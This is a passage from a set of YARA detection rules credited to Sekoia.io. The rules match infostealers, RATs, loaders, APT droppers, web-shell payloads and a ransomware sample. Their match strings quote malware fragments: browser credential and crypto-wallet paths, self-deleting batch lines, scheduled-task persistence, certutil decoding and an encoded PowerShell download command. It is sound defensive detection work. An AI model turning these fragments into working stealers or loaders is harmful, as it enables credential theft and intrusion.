		$str05 = "%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" ascii
		$str06 = "\\CC\\%s_%s.txt" ascii
		$str07 = "\\Autofill\\%s_%s.txt" ascii
		$str08 = "\\History\\%s_%s.txt" ascii
		$str09 = "\\Downloads\\%s_%s.txt" ascii
		$str10 = "Content-Disposition: form-data; name=" ascii
		$str11 = "Exodus\\exodus.wallet" ascii
		$str12 = "*%DRIVE_REMOVABLE%*" ascii
		$opc = {55 8b ec 51 56 8b 75 ?? 33 c0 c7 46 14 ?? ?? ?? ?? 89 46 ?? 68 ?? ?? ?? ?? 8b ce 89 45 ?? 88 06 e8 1f b6 ff ff 8b c6 5e c9 c2 ?? ??}
	condition:
		uint16( 0 ) == 0x5A4D and ( 7 of them or $opc )
}

rule SEKOIA_Apt_Gamaredon_Htmlsmuggling_Attachment : FILE
{
	meta:
		description = "Detects Gamaredon HTMLSmuggling attachment"
		author = "Sekoia.io"
		id = "a39b6e67-9327-4c5b-902a-b9853cfefc8e"
		date = "2023-01-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_gamaredon_htmlsmuggling_attachment.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "e13da493404b27ef0c026ca32accbb30792981e810c099d633f5de225e241b4d"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "['at'+'ob'](" ascii
		$ = "['ev'+'al'](" ascii
		$ = "document.querySelectorAll('[" ascii
		$ = "[0].innerHTML.split(' ').join('')))" ascii
	condition:
		filesize < 1MB and 2 of them
}

rule SEKOIA_Infostealer_Win_Nosu : FILE
{
	meta:
		description = "Finds Nosu samples based on characteristic strings"
		author = "Sekoia.io"
		id = "9823af25-e30b-4514-a59c-02dd19fe368d"
		date = "2022-12-15"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_nosu.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f18db2008aa9175fc423133fd6d5872c5750d011aad73c373505347443d5032c"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str0 = "C:\\xampp\\htdocs\\nosu\\core\\release\\lilly.pdb" ascii
		$str1 = "{\"gp\":\"%s\",\"app\":\"%S\"," ascii
		$str2 = "stored in zip:\\%s" wide
	condition:
		uint16( 0 ) == 0x5A4D and 1 of them and filesize < 1MB
}

rule SEKOIA_Trojan_Win_Bbtok_Iso_Sep23 : FILE
{
	meta:
		description = "Finds BBTok installation ISO file"
		author = "Sekoia.io"
		id = "6032853d-b872-4b2e-913d-366e7f3d0f32"
		date = "2023-09-26"
		modified = "2024-12-19"
		reference = "https://research.checkpoint.com/2023/behind-the-scenes-of-bbtok-analyzing-a-bankers-server-side-components/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/trojan_win_bbtok_iso_sep23.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "140e83d2e0d012cdd5625ea89c3b3af05a80877cfc8215bbe20823e7e88c80b1"
		logic_hash = "efef1e4e50d84cd30c025c86beb751c73a996cca896f90729571f48259ffc110"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$iso = {43 44 30 30 31}
		$str01 = "POWERISO" ascii
		$str02 = "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe" ascii wide
		$str03 = ".pdf /Y & start" wide
		$str04 = "\\MSBuild.exe -nologo \\\\" ascii wide
	condition:
		all of them and filesize < 500KB
}


rule SEKOIA_Pe_Princeransomware_Strings : FILE
{
	meta:
		description = "Prince Ransomware exe files"
		author = "Sekoia.io"
		id = "9c5cad6e-2b11-469c-ace1-2dc51562b035"
		date = "2024-08-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/pe_princeransomware_strings.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "8bd8de169f45e32bab53f6e06088836d6f0526105f03efa1faf84f3b02c43011"
		hash = "a83aad6861c8fdfe2392b8e286ab7051d223c6b0bbba5996165964f429657a37"
		logic_hash = "18577c5673b4fc5280dee88aefac3747c254a97fdc84b584af241277361f6400"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "https://i.imgur.com/RfsCOES.png" ascii
		$ = {596f75722066696c65732068617665206265656e20656e63727970746564207573696e67205072696e63652052616e736f6d77617265}
	condition:
		all of them and uint16( 0 ) == 0x5a4d and filesize > 1MB
}

rule SEKOIA_Apt_Apt28_Ukrnet_Phishing_Page : FILE
{
	meta:
		description = "Detects APT28 Phishing page"
		author = "Sekoia.io"
		id = "053158d8-aac0-486f-8432-834a06f41ed2"
		date = "2024-09-02"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_apt28_ukrnet_phishing_page.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "20dc3a5beb8e3a7801e010b4113efef1"
		hash = "5f1462144d7704101cd71c679ea0322b"
		logic_hash = "3d077a7ce35094bcbda763c131d4564ffbcea0373f5cbd30406ada4e9db36529"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "baseurl+\"/captcha\""
		$ = "(\"sessionID\", sessionID"
		$ = ".responseJSON['origin"
		$ = "var baseurl="
		$ = "(req.responseText.includes("
		$ = "else if (req.responseText=='FAIL')"
		$ = "|| document.getElementById('confpwd"
		$ = "/master/dist/text-security-disc.woff"
	condition:
		4 of them and filesize < 500KB
}

rule SEKOIA_Infostealer_Win_Mars_Stealer_Variant_Llcppc1 : FILE
{
	meta:
		description = "Detect Mars Stealer variand llcppc1"
		author = "Sekoia.io"
		id = "3e2c7440b2fc9e4b039e6fa8152ac8fe"
		date = "2022-03-10"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_mars_stealer_variant_llcppc1.yar#L1-L15"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "f9d92338fa31c38648b72d7f9a953201c7e498237bc9d02d6247d1882d1e3432"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$a = {ff 15 ?? ?? ?? ?? 89 45 ?? 6a 14 68 ?? ?? ?? ?? ff 75 ?? e8 23 00 00 00 ff 75 ?? ff 75 ?? ff 75 ?? e8 5c 00 00 00}
	condition:
		uint16( 0 ) == 0x5A4D and $a
}

rule SEKOIA_Infostealer_Win_Blackguard_Mar23 : FILE
{
	meta:
		description = "Finds BlackGuard samples based on specific strings (March 2023, version 5)"
		author = "Sekoia.io"
		id = "65804d31-2a0c-4b22-a8d9-8cbe1497f155"
		date = "2023-03-27"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_blackguard_mar23.yar#L1-L24"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "63d77808036478da0c8d38a6d3581ccd2d4e46ae16ec9e817f09f8b633b01843"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "==================  5.0 ==============" wide
		$str02 = "/concerts/disk.php" wide
		$str03 = "/concerts/memory.php" wide
		$str04 = "/loader_v2.txt" wide
		$str05 = "io.solarwallet.app\\Local Storage\\leveldb" wide
		$str06 = "costura.dotnetzip.dll.compressed" ascii wide
		$str07 = "set_Laskakakaska" ascii
		$str08 = "get_Yliana" ascii
		$str09 = "set_Illeona" ascii
		$str10 = "set_Gyttettfd" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 4 of them
}


rule SEKOIA_Tool_Sharphoundpowershell_Strings : FILE
{
	meta:
		description = "Detects SharpHound Powershell"
		author = "Sekoia.io"
		id = "f27a0bdc-1a8c-43f9-843c-6c8506726f37"
		date = "2022-08-11"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_sharphoundpowershell_strings.yar#L1-L20"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "29756acb0afd8aabac170ca8288f1dcffcb2e601c9bdba1cc7a30b8b415661f6"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "function Invoke-BloodHound"
		$ = "$vars.Add($RealDNSName)"
		$ = "$vars.Add($Jitter)"
		$ = "CmdletBinding(PositionalBinding = $false)"
		$ = ").Invoke($Null, @(,$passed))"
		$ = "$EncodedCompressedFile ="
	condition:
		filesize < 2MB and 4 of them
}

rule SEKOIA_Apt_Apt41_Javascript_Dropper : FILE
{
	meta:
		description = "Detects Earth Lusca JS dropper"
		author = "Sekoia.io"
		id = "fde70806-af50-4706-9daf-d39ad0564fc7"
		date = "2024-02-26"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_apt41_javascript_dropper.yar#L1-L21"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "3e34af7141e41044c3d3e099e8b8deafc7441ea47ccbd8af7ffe686f10bb18a2"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "eval(function(p, a, c, k, e, r) {"
		$s2 = "|4d53"
		$s3 = "ActiveXObject"
		$x1 = " -F:* %1%"
		$x2 = "&I /r c:\\"
		$x3 = "ActiveXObject"
	condition:
		filesize < 2MB and ( all of ( $s* ) or all of ( $x* ) )
}

rule SEKOIA_Implant_Macos_Geacon : FILE
{
	meta:
		description = "Finds Geacon samples based on specific strings"
		author = "Sekoia.io"
		id = "a7784bfa-66a7-47df-b88b-d98217d8cca5"
		date = "2024-01-11"
		modified = "2024-12-19"
		reference = "https://www.sentinelone.com/blog/geacon-brings-cobalt-strike-capabilities-to-macos-threat-actors/"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/implant_macos_geacon.yar#L1-L35"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "284574d185d3777a373f4a19e0870eec5245fb8ea5ebd6124bc281f8c74e0998"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$gea01 = "geacon/config.init" ascii
		$gea02 = "geacon_pro-master/config/config.go" ascii
		$gea03 = "geacon_plus-main/config/config.go" ascii
		$gea04 = "command type %d is not support by geacon now" ascii
		$gea05 = "main/sysinfo.GeaconID" ascii
		$str01 = "command.StealToken" ascii
		$str02 = "command.MakeToken" ascii
		$str03 = "command/misc.go" ascii
		$str04 = "config/c2profile.go" ascii
		$str05 = "crypt.AesCBCDecrypt" ascii
		$str06 = "packet.File_Browse" ascii
		$str07 = "packet.FirstBlood" ascii
		$str08 = "packet.ParseCommandShell" ascii
		$str09 = "packet.ParseCommandUpload" ascii
		$str10 = "packet.PushResult" ascii
		$str11 = "sysinfo.GetComputerName" ascii
		$str12 = "sysinfo.IsOSX64" ascii
		$str13 = "util..inittask" ascii
	condition:
		uint32( 0 ) == 0xFEEDFACF and ( ( 1 of ( $gea* ) and 2 of ( $str* ) ) or 8 of ( $str* ) )
}

rule SEKOIA_Apt_Uac0154_Malicious_Html_Smuggling : FILE
{
	meta:
		description = "UAC-0154 Infection chain"
		author = "Sekoia.io"
		id = "923d11e5-6332-456d-8aff-ae7fb76193a8"
		date = "2023-10-02"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_uac0154_malicious_html_smuggling.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ba37b076ac29edcb9af7792420b527b0d64e7838e0237b39afe98a817eafdf7e"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Microsoft&reg; HTML Help Workshop 4.1"
		$ = "var a=['"
		$ = ")+b('0x"
	condition:
		all of them and filesize < 100KB
}


rule SEKOIA_Infostealer_Win_Acridrain_Mar23 : FILE
{
	meta:
		description = "Finds AcridRain samples"
		author = "Sekoia.io"
		id = "049b502a-0fb6-4fa9-a1ce-f01a40269bdb"
		date = "2023-03-21"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_acridrain_mar23.yar#L1-L40"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "7fa1822acc6264a3a58fffef3fc572f8818d99037b20d5abb8bfb41f025949d4"
		score = 75
		quality = 78
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "\",\"r\":" ascii
		$str02 = "\",\"s\":\"" ascii
		$str03 = "\",\"p\":\"" ascii
		$str04 = "\",\"a\":\"" ascii
		$str05 = ",\"c\":" ascii
		$str06 = ",\"g\" :" ascii
		$str07 = "v7166637466625297979 t2537736810932639330 ath5ee645e0 altpriv cvcv=2 cexpw=1 smf=0" ascii
		$str08 = "Content-Type: multipart/form-data; boundary=----974767299852498929531610575" ascii
		$str09 = "\\Roaming\\Bitwarden\\data\\bitwarden.sqlite3" ascii
		$ste01 = "\\Roaming\\Exodus\\exodus.wallet" ascii
		$ste02 = "\\Roaming\\Electron Cash\\wallets" ascii
		$ste03 = "\\Roaming\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb" ascii
		$ste04 = "\\Local Extension Settings\\" ascii
		$ste05 = "cnmamaachppnkjgnildpdmkaakejnhae" ascii
		$ste06 = "ffnbelfdoeiohenkjibnmadjiehjhajb" ascii
		$ste07 = "\\formhistory.sqlite" ascii
		$ste08 = "\\logins.json" ascii
		$ste09 = "encrypted_key" ascii
		$ste10 = "\\Login Data" ascii
		$enc01 = "bX5cVw8FKyAKZVxXXUAdSTUXCXdCV0FoOxoSF0ZEUEZS" ascii
		$enc02 = "bX5cVw8FKywUaVVbRlkyPAQAFCB1U0dV" ascii
		$enc03 = "bX5cVw8FKzQvUBFhRkYINSIWA3IRdlJADw==" ascii
		$enc04 = "bX5cVw8FKzYWdUVcWl8iCBU5NXBERl1dBTUiFgNyEXZSQA8=" ascii
		$enc05 = "bWBcVQMAGQI6UEJbGGgeGxgDD2xUQW9QCw8WEAp0" ascii
	condition:
		uint16( 0 ) == 0x5A4D and 5 of ( $str* ) and 7 of ( $ste* ) and 1 of ( $enc* )
}

rule SEKOIA_Apt_Kimsuky_Sharptongue_Strings : FILE
{
	meta:
		description = "Detects SharpTongue variants."
		author = "Sekoia.io"
		id = "56027edb-4e6e-40ec-a1b9-36c52b0dd3ec"
		date = "2022-07-29"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_sharptongue_strings.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "a7a9045485f6e713a8ae1bc87cd1296d64905b18e5d13d6e2b9a95328181af54"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "Post0.Open" ascii wide
		$s2 = ".php?op=" ascii wide
		$s3 = "s=s&Mid(c,ix*d+jx+1,1)" ascii wide
		$s4 = "curl -o " ascii wide
	condition:
		$s2 in ( @s1 .. @s1 + 200 ) or $s2 in ( @s4 .. @s4 + 200 ) or $s3 and filesize < 500KB
}

rule SEKOIA_Generic_Sharpshooter_Payload_13 : FILE
{
	meta:
		description = "Detects payload created by SharpShooter"
		author = "Sekoia.io"
		id = "2d61d7b8-5348-4cc8-9d41-61799b573e3b"
		date = "2023-02-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/generic_sharpshooter_payload_13.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "fb6b71bf1e89abf872fb3ef02a228f370f0fcc10d5aab70418fe8735283165da"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "Private Function decodeHex(hex)"
		$ = "EL.Text = hex "
		$ = "serialized_obj = serialized_obj & "
		$ = "d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)"
	condition:
		all of them and filesize < 2MB
}


rule SEKOIA_Loader_Win_Konni_Bat : FILE
{
	meta:
		description = "Detect the BAT files (named trap.bat or yup.bat) used by KONNI"
		author = "Sekoia.io"
		id = "e8921336-6c91-4b46-bd3f-3cf4a9b31082"
		date = "2023-09-26"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_konni_bat.yar#L1-L22"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "3476e41461692c3ccfc0ef47a4d5b8822c4940987755763d2a5913e27d9350d4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "del /f /q \"%~dp0\\*.zip\" > nul"
		$ = "del /f /q \"%~dp0\\*.xml\" > nul"
		$ = "del /f /q \"%~dp0\\wpnprv*.dll\" > nul"
		$ = "del /f /q \"%~dp0\\*.bat\" > nul"
		$ = "del /f /q \"%~dpnx0\" > nul"
		$ = "echo %~dp0 | findstr /i \"system32\" > nul"
		$ = "if %ERRORLEVEL% equ 0 (goto INSTALL) else (goto COPYFILE)"
		$ = "if exist \"%ProgramFiles(x86)%\" ("
	condition:
		3 of them and filesize < 3KB
}

rule SEKOIA_Loader_Win_Squirrelwaffle_Doc : FILE
{
	meta:
		description = "Detect the Squirrelwaffle malicious document (not xls)"
		author = "Sekoia.io"
		id = "caadeac3-d4c7-4d84-b539-c03cc4c6c274"
		date = "2021-09-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/loader_win_squirrelwaffle_doc.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "b9f7c3605e25c8c7caa5f70e492d46fb70e7cb6002704440e7346ebfb2bbc7bf"
		score = 75
		quality = 76
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = {4f4b31203d2022636d64202f632072756e646c6c33322e65786520433a5c50726f6772616d446174615c777777312e646c6c2c6c647222}
		$s2 = {4145524f2042495a20434f4d20434f4f502045445520474f5620494e464f20494e54204d494c204d555345554d204e414d45204e4554204f52472050524f}
	condition:
		any of them and filesize > 100KB
}


rule SEKOIA_Tool_Bypassgodzilla : FILE
{
	meta:
		description = "Detects payload of BypassGodzilla"
		author = "Sekoia.io"
		id = "fa492f97-a46c-422d-a617-c503744ee22e"
		date = "2024-09-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_bypassgodzilla.yar#L1-L38"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "571c9042c627abba19ba1d591e2083eb"
		hash = "56cfc5a876f8f55bf184be9f368b6d8a"
		hash = "d4f7ca537701aee8849c474bc4df19d1"
		hash = "e4be04331c5f447b3ca03aa637d16c85"
		hash = "905fa3b692577a086ac654ef89e8b83d"
		logic_hash = "47e52267c73209c6191910ac21bca44acac2100be96250fd5dda1f889fb03b07"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$jsp_1a = "response.getWriter().write(\""
		$jsp_1b = "\".substring("
		$jsp_2a = "response.getWriter().write(java.util.Base64/*"
		$jsp_2b = "*/.getEncoder()/*"
		$jsp_2c = ".toByteArray(),true)));"
		$asp_1 = "[\"payload\"]).CreateInstance(\"LY\");"
		$asp_2 = "\\U00000045\\U00000071\\U00000075\\U00000061\\U0000006C\\U00000073(Context);"
		$php_1 = "=(\"!\"^\"@\").'ss'.Chr(\"101\").'rs';"
		$php_2 = "*/md5/*"
		$php_3 = "*/isset($_SESSION/*"
		$php_4 = "@set_time_limit(Chr(\"48\"))"
	condition:
		(( all of ( $jsp_* ) and ( @jsp_1b- @jsp_1a < 70 ) and ( @jsp_2b- @jsp_2a < 70 ) and ( @jsp_2c - @jsp_2a < 160 ) ) or ( all of ( $asp_* ) and ( @asp_2 > @asp_1 ) ) or ( all of ( $php_* ) ) ) and filesize < 30KB and true
}


rule SEKOIA_Rat_Win_Xworm_V3 : FILE
{
	meta:
		description = "Finds XWorm (version XClient, v3) samples based on characteristic strings"
		author = "Sekoia.io"
		id = "5fb1cbd3-1e37-43b9-9606-86d896f2150b"
		date = "2023-03-03"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/rat_win_xworm_v3.yar#L1-L30"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "0016647c3c7031e744c0af6f9eadb73ab5cab1ca4f8ce7633f4aa069b62755cd"
		hash = "07e747a9313732d2dcf7609b6a09ac58d38f5643299440b827ec55f260e33c12"
		hash = "de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147"
		logic_hash = "9a50f41f6c295f48597f6db3f5d9141345b3711ef110a0f925c881f3a75580ca"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$str01 = "$VB$Local_Port" ascii
		$str02 = "$VB$Local_Host" ascii
		$str03 = "get_Jpeg" ascii
		$str04 = "get_ServicePack" ascii
		$str05 = "Select * from AntivirusProduct" wide
		$str06 = "PCRestart" wide
		$str07 = "shutdown.exe /f /r /t 0" wide
		$str08 = "StopReport" wide
		$str09 = "StopDDos" wide
		$str10 = "sendPlugin" wide
		$str11 = "OfflineKeylogger Not Enabled" wide
		$str12 = "-ExecutionPolicy Bypass -File \"" wide
		$str13 = "Content-length: 5235" wide
	condition:
		uint16( 0 ) == 0x5A4D and 8 of them
}

rule SEKOIA_Guloader_Vbscript : FILE
{
	meta:
		description = "visual basic script delivering GuLoader"
		author = "Sekoia.io"
		id = "3472e403-b1e6-4fdf-9770-af42d505b556"
		date = "2024-02-07"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/guloader_vbscript.yar#L1-L17"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "d0398b19ec57cff8afd52b06dc9da18788b1eefdf6be70650138e9b342d91d24"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = " = CreateObject(\"WScript.Shell\")"
		$s2 = " = Join("
		$s3 = ",vbnullstring)"
	condition:
		filesize < 20KB and all of them and #s1 > 1 and @s3- @s2 < 16
}

rule SEKOIA_Koiloader_Lnk : FILE
{
	meta:
		description = "LNK file leading to deploy KoiLoader"
		author = "Sekoia.io"
		id = "e82975b9-94b7-4de8-8cd5-d594aa80cf02"
		date = "2024-03-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/koiloader_lnk.yar#L1-L18"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "49953c76796f671ed80afa21872aac500d706f2af4426a5ec2854e16b9d0e474"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "bat & schtasks /create" wide
		$s2 = "/sc minute /mo 1" wide
		$s3 = "c3RhcnQgL21pbiBwb3dlcnNoZWxsIC1jb21tYW5kICJJV1IgLVVzZUJhc2ljUGFyc2luZyAnaHR0cHM6" wide
		$s4 = " & certutil -f -decode " wide
	condition:
		uint32( 0 ) == 0x0000004c and all of them
}

rule SEKOIA_Apt_Kimsuky_Vbs : FILE
{
	meta:
		description = "VBS files used by Kimsuky"
		author = "Sekoia.io"
		id = "3f92dbda-2ddb-4fa3-a587-743f65ced9e4"
		date = "2024-09-23"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/apt_kimsuky_vbs.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		hash = "12386be22ca82fce98a83a5a19e632bc"
		hash = "7b5783d42240651af78ebf7e01b31fe8"
		hash = "ff7d68e5fb253664ce64c85457b28041"
		hash = "622358469e5e24114dd0eb03da815576"
		hash = "edbb2aa40408e2a7936067ace38b445b"
		hash = "73ed9b012785dc3b3ee33aa52700cfe4"
		logic_hash = "b4a05a50c8223198082f6f6aa7309cc19b019738fb99e37c6f2140b8ef7cecc9"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = ")):Next:Execute " ascii
		$ = "=\"\":" ascii
		$ = "\":for "
	condition:
		all of them and filesize < 10KB
}


rule SEKOIA_Infostealer_Win_Solarmarker_Dll : FILE
{
	meta:
		description = "Finds SolarMarker DLL based on characteristic strings"
		author = "Sekoia.io"
		id = "a2fe7f09-7134-4054-ba40-5ea66785a26c"
		date = "2022-12-09"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_solarmarker_dll.yar#L1-L28"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "5be0a95adb7e486cdec5f0e8433afed41516fc1a990e1d1ba00db7e8fb32dbbb"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$zka = "zkabsr" wide
		$str0 = "set_PersistKeyInCsp" ascii
		$str1 = "get_IV" ascii
		$str2 = "get_MachineName" ascii
		$str3 = "get_Current" ascii
		$str4 = "ps_script" ascii
		$str5 = "request_data" ascii
		$str6 = "WindowsBuiltInRole" ascii
		$str7 = "DllImportAttribute" ascii
		$str8 = "get_BlockSize" ascii
		$str9 = "GetRequestStream" ascii
	condition:
		uint16( 0 ) == 0x5A4D and ( ( $zka and 3 of ( $str* ) ) or ( all of ( $str* ) ) ) and filesize < 1MB
}

